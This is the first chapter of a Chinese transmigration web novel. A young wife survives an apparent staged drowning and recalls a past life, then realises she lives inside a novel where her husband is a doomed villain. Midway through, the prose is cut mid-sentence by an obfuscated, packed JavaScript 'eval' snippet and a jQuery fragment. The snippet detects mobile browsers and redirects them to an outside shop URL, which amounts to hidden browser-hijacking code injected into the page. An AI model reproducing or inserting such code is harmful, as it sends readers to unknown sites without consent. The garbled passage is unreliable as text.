1. 第一章

作品:《被男公主盯上后(穿书)

    冬雪初融,绿芽新长,建康城中微风如旧。


    郁宁与夫君云桓一同在祖母房中用了饭,饭后与老祖宗聊了几句天就准备离去了。


    云桓脚步轻快地牵着郁宁往外走去,身后的女婢小碎步追上来:“姑爷,小姐还没穿上披风,晚上当心着凉。”


    三春急忙将披风搭在郁宁的肩膀上。


    云桓接过披风,妥妥帖帖给郁宁穿戴齐整,又仔细打量几番,确认保暖到位,这才轻拍脑袋自责道:“怪我,着急带阿宁出来说几句话,若是因此着了凉真是万死难辞。”


    他摸了摸妻子的双手,感受到温暖才罢休。


    初春严寒,空气仍留恋冬季的温度。


    晚霞的余晖打在郁宁的脸上,让白皙的脸颊浮出惹人的红晕来,就像是个福气的财神娃娃,又像是春天颤巍巍探出头来的桃花花苞。


    “阿宁,”云桓摸索着郁宁软嫩的双手,有些歉疚地说道,“今日好友们约我饮酒,我实在推辞不开。明日,我定来房中赔罪。”


    话说到最后,云桓反倒有些不好意思起来。


    师出有名,郁宁也不是什么不讲理的人。若是阿桓天天来房中,那她才真是吃不消。


    云桓在得到意料之中的同意后,得寸进尺起来:“阿宁,你一次都没有挽留过我,若你总是如此我都怀疑你并不爱我了……”


    郁宁轻佻眉梢,给了个眼神,并未接话。


    腻腻歪歪了一会,云桓终于一副赴约不及的样子,匆忙跑着回院准备去了。


    郁宁并不和云桓住在一个院子中,准备回去了。


    纵然已经到了春天,天暗下来的速度仍有些不可思议。


    没走两步,脚下的路就已经有些看不清楚了。


    云家族人聚居,院子繁多且复杂,妆点在其中的园林也造得奇趣,怪石嶙峋,树木掩映,若是在白日里,是族人找乐子的好去处。但到了晚上,这些磕磕绊绊、错综复杂的石子路就让郁宁有些迷糊了。


    很可惜,她身边跟着的三春丫头也是个略小点的路痴,程度比她稍好上些。


    为了两人不会在园林里一直打转,保险起见,郁宁打发三春去临近的院子找个灯盏。


    坐在一处石亭中,望着不远处在月光下波光粼粼的水面,郁宁心中有些烦闷。


    她与云桓自幼相识,阿桓成婚后待她极尽温柔,可高院规矩多、是非多,婆婆周氏又是个不管事儿的……


    每天大大小小的事情处理起来,也着实头疼得紧……


    太阳已经完全不见踪影,世界陷入一片黑暗之中。


    突然,郁宁背后静谧无声的昏暗中传来细微的声响。


    郁宁虽然方向感不好,却有着极佳的五感——这是谁的脚步声?


    陡然冒出的声音在黑暗中显得异常明显又诡异,她陡然转头。


    是三春,她找到灯盏了?


    三春年纪尚幼,身子有些胖嘟嘟的,走起路来喘气声大,这几日感染风寒还带着些许的鼻音。


    而现在的这一串脚步声,脚步轻巧、步伐沉稳,并且声音并不连贯,在郁宁出声后完全消失在了四周的风声中。


    “是谁?”郁宁率先发声。


    既然已经打草惊蛇,她只能先发制人。此时各院子的人都在用饭,这里很少有人会在这个点来。


    她放轻了脚步往后退去,想要远离声音传来的方向,眼睛不住地扫视周围想要找到声音的来源。


    唔——


    一只大手捂上了郁宁的嘴巴,一股酸臭刺鼻的味道呛入鼻中。


    竟然是迷药!


    郁宁大惊,在云家宅院内部竟会出现这样无所顾忌的歹徒。


    是谁要害她?她自认因不得云桓父母好脸,她管家时兢兢业业从不克扣任何,到底什么样的仇恨才会冒着暴露自己的风险买凶行事。


    她紧闭呼吸,防止自己吸入迷药。


    好一招声东击西!歹人计划得非常周密,即使是对付自己一个柔弱的妇人,也不肯省事。


    估计起来对方至少有两个人,自己势单力薄,硬刚肯定不行——


    郁宁顺着禁锢着她的人,缓缓瘫软了身体,心里却疯狂过滤着逃生的方法。


    现在直接呼救?——那显然不行,估计刚出声,就死了。


    若是费劲挣扎,被他们发现自己没晕,估计也是直接被狗急跳墙搞死。


    两三分钟的憋气后,郁宁觉得胸口都快要爆炸了,身后的人终于慢慢放轻了捂嘴的力度。


    察觉到这点,郁宁彻底瘫软了自己的身体,终于有新鲜的空气灌入了她的肺中。


    不敢过分呼吸,吸气两口之后,她又重新憋上了气。


    黑暗中,郁宁看不到两人的身形和面貌,只能判断出是两个男子。


    “晕了。”声音从背后响起,很轻,甚至郁宁都听着模糊。


    身体腾空的一瞬间,郁宁才反应过来:迷药不会致死。


    她觉得自己脑子都坏掉了,赶忙轻轻地呼吸起来。


    下一刻,郁宁就感受到自己的脚和肩膀被人拖着开始移动了。


    这个方向她记得很清楚,是院子里的池塘。


    太好了,居然是沉塘。看来是想把自己伪造成溺水身亡的样子。


    郁宁心稍稍放松些:自己天生会凫水,若是被扔下池塘还有一线生机。幸亏买凶的人没有多打听打听,她会水这件事并不是无人知晓。


    想到这里,她定了定心神,趁着入水前,她小心翼翼地大口呼吸了几下,多储备些空气准备在水中憋气。


    等到石块砸上脑袋的前一刻,郁宁还思考着入水之后应当如何消除两人的怀疑。


    脑袋上传来重重的敲击,郁宁额头一阵剧痛,,感受到一阵温热的液体从脸颊旁流淌下来。


    该死!竟然是先敲晕了再沉湖吗!那肯定啊会淹死啊喂!


    郁宁浑身的衣物被冰冷的湖水渗入,四肢僵硬,体温在迅速流失。


    很快,她就失去了意识。


    观察着目标全部没入池塘,歹徒将手中带血的石头朝着沉没的水面区域抛去,手法刁钻,只在湖面溅出寥寥一小圈水花,并没有发出什么声响。


    两人悄无声息地翻墙离开。


    *


    隐隐绰绰的哭声从不知道方向的远方传来,郁宁只觉得被吵得头痛欲裂。


    “阿宁,我不该让你独自回来的……”云桓不停地在耳边道歉,夹杂着懊悔和痛苦,复杂的酒气弥散在郁宁周围。


    她想要想要睁开眼睛,眼皮却像是被胶水粘住一般牢固。


    她觉得自己的脑子里多了好多东西,那些是她的东西吗?她是来到了地府吗,这里的建筑和人怎会如此奇诡?


    她在虚空中摸索着,仔细观察着,想要找到一条出路。


    眉头紧紧皱起,突然,郁宁眼前大亮,她终于醒了。


    “阿宁,”见郁宁终于迷迷糊糊地醒来,从酒席上中途离场的云桓想要将她扶起来,晃得郁宁头晕目眩,“要喝水吗?饿不饿?我差人送吃的来……”


    三春见状,也不哭了,上前来轻手轻脚地照顾郁宁。


    云桓也发现了自己的笨手笨脚,怕再给郁宁带来伤害,只得乖乖站在一边,嘴巴却没有闲下来,一直询问着。


    等平稳下来,郁宁才理清了脑中的思路。


    “若不是香囊中撒出的香粉痕迹,我都……我都不敢想……”云桓清秀俊朗的面容上布满泪痕,“怎么会这么不小心坠湖呢……”


    郁宁伸手抚摸上云桓的脸颊,柔声道:“阿桓,今夜并非……”她顿了顿,调转了话头,“我想要到池塘边上去赏花,夜色太黑这才没注意失足掉下去了,下次我会小心的,不会一个人呆着。”


    云桓对她的的确确是真心的,她自己的夫君,郁宁了解,是个被娇养的天真烂漫的公子哥。


    他能给自己的庇护,几乎全部来自于河朔云氏的荣耀,而不是他自己。


    若是这件事情最后查出的来的凶手是云家内部的人,将这件事告知云桓,怕是会打草惊蛇。


    她在被那两个贼人拖到池塘去的路上,偷偷解松了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164693|196650||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    香囊让香灰掉了一路。正是留了一手才让三春赶在她咽气溺死之前,把她捞了起来。


    大难不死,郁宁却没有心情和夫君互诉衷肠。


    安抚完紧张的夫君后,郁宁轻抚着自己额上的伤口躺在床榻上。


    贼人的手劲很大,若不是想要营造出真实的坠湖碰撞的效果,怕是一下就可以把郁宁敲死。


    “小姐,大夫用了最好的祛疤膏和伤药,不会留下疤痕的。”三春有些欲言又止,最终还是问出了口,“小姐,今晚是不是发生了什么事,湖中荷花凋败……你怎么会……”


    你怎么会去湖边赏花呢?郁宁知晓未说完的话,但她不愿意说。


    “三春,我想一个人休息。”三春表现得不太情愿,但在郁宁有些沉肃的眼神下,还是关门离去了。


    离开前,她还有些不放心:“小姐,我就侍奉在门口,您随时叫我。”


    *


    暖春正近,屋外响起几声蛙叫,而郁宁,此时,她只想要仰天长啸。


    就在承受脑袋的暴击之后,她——想起了前世的记忆。


    更严谨地说来,她穿书了。


    没错,郁宁是一个倒霉的穿越人士,而且是胎穿。


    至于为什么她到现在才想起来,你若问,只能说:她也不知道。


    也许是年幼的小小脑袋瓜里装不住前世十八年的记忆吧。


    穿越前,她正在家中赶往学校的高速路上。司机大叔全程开得突飞猛进,嫌无聊,一路上还播放着一本名叫《一统》的网络小说。


    郁宁晕车,不习惯在车上使用电子产品,就跟着司机大叔一起听书。


    《一统》,光是名字你就可以大概猜出这本小说的情节。


    这本书的主角名叫谢温,他是一个从小流落民间的皇子。一路披荆斩棘、收拢小弟,认祖归宗,最后打败太子成为皇帝,并完成大一统征服世界。


    仅仅三个小时的车程,这位谢兄称王称霸,打算朝着邻国发起大一统战争了。


    只可惜,谢兄乐极,郁宁生悲。


    车祸发生得很突然,她还没来得及作出什么反应就挂了。


    临死前,她还想着自己还没花完的银行卡余额,觉得亏大了。


    毕竟,她上没父母,下没子女,更没有兄弟姐妹。


    算了,就算是最后献爱心,给国家充公吧,这样想着,她就失去了意识。


    她是如何这么快就发现自己是穿书呢?那就要从她的竹马夫君说起了。


    云桓——一个书中不太重要的男配。


    要命的是,他并不是一个正派角色,也不是主角的小跟班。河朔云氏在原书这一场夺权斗争中,站错队了。没错,云桓不仅是个男配,还是一个炮灰反派男配!


    他最终的结局大概率就是在郁宁记不太清的处死、流放、监禁等等其中的一个吧。


    郁宁现在就想一头撞死。


    做了半个时辰的心理建设后,倒霉的郁宁终于接受了现实,开始梳理原书中的情节。


    虽然穿越到了书中的世界,但她前十八年的生活完全没有参与到故事的主线中。在与云桓成婚后,她才正式与书中的人物产生交集,如今的她也并非走上了必死的结局。


    其一,云桓虽在朝中任职,却并无实权,从逻辑上来讲并不属于龙傲天主角的死敌。


    其二,在原剧情中,云桓还有另外一位妻子。是的,虽然郁宁很不想承认但必须承认的是自己头顶上这一顶必戴的绿帽。另外一位妻子就是本朝靖朔公主——谢雯。


    这是一位书本前期名不见经传的人物,可在书本中龙傲天男主进行政治清算知识,云家却因为这位公主的存在成为唯一一个未被满门抄斩的党羽。


    可劫难并非一时的,名扬京城的云桓公子最终却死在了流放的苦寒路上。


    郁宁捏紧了拳头,心中大鼓。


    若是此刻和离,她或许能保全一条性命,却是再也无法插手阿桓的命运,只能眼睁睁地看着他陷入必死的结局。


    如此,便也只能放手一搏了。